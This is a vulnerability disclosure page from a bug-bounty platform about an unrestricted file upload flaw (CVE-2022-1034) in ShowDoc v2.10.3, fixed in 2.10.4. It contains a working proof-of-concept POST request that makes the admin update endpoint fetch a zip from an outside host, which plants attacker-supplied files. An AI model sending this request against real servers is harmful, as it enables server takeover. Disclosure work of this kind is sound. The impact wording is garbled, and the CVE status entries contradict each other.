There is a Unrestricted Upload of File vulnerability in ShowDoc v2.10.3 in star7th/showdoc

1

Valid Reported on Mar 20th 2022

Description

There is a Unrestricted Upload of File vulnerability in `AdminUpdateController.class.php` in ShowDoc v2.10.3

Proof of Concept

```
POST /showdoc-2.10.3/server/index.php?s=/api/adminUpdate/download HTTP/1.1
Host: 10.211.55.5
Content-Length: 66
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537
Content-Type: application/x-www-form-urlencoded
Origin: http://10.211.55.5
Referer: http://10.211.55.5/showdoc-2.10.3/web/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=47uvgq7efm1ethua6a8podcse6; think_language=zh-CN; cookie_
Connection: origin

new_version=666&file_url=http://192.168.1.7:88/showdoc-666.zip
```

Impact

After the attacker login to the admin panel, the vulnerability can be used to privileges.

Occurrences

AdminUpdateController.class.php L32

References

- https://github.com/metaStor/Vuls/blob/main/showdoc/showDoc.md
- https://github.com/star7th/showdoc/issues/1637

CVE
CVE-2022-1034
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
Critical (9.1)

Visibility
Public

Status
Fixed

Found by

Xiaoshui
@metastor
unranked

Fixed by

star7th
@star7th
unranked

This report was seen 813 times.

Chat with us

We are processing your report and will contact the **star7th/showdoc** team within 24 hours.

8 months ago

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back

8 months ago

star7th validated this vulnerability 8 months ago

Xiaoshui has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

star7th marked this as fixed in **2.10.4** with commit **bd792a** 8 months ago

star7th has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

AdminUpdateController.class.php#L32 has been validated ✔

Sign in to join this conversation

terms

privacy policy

Chat with us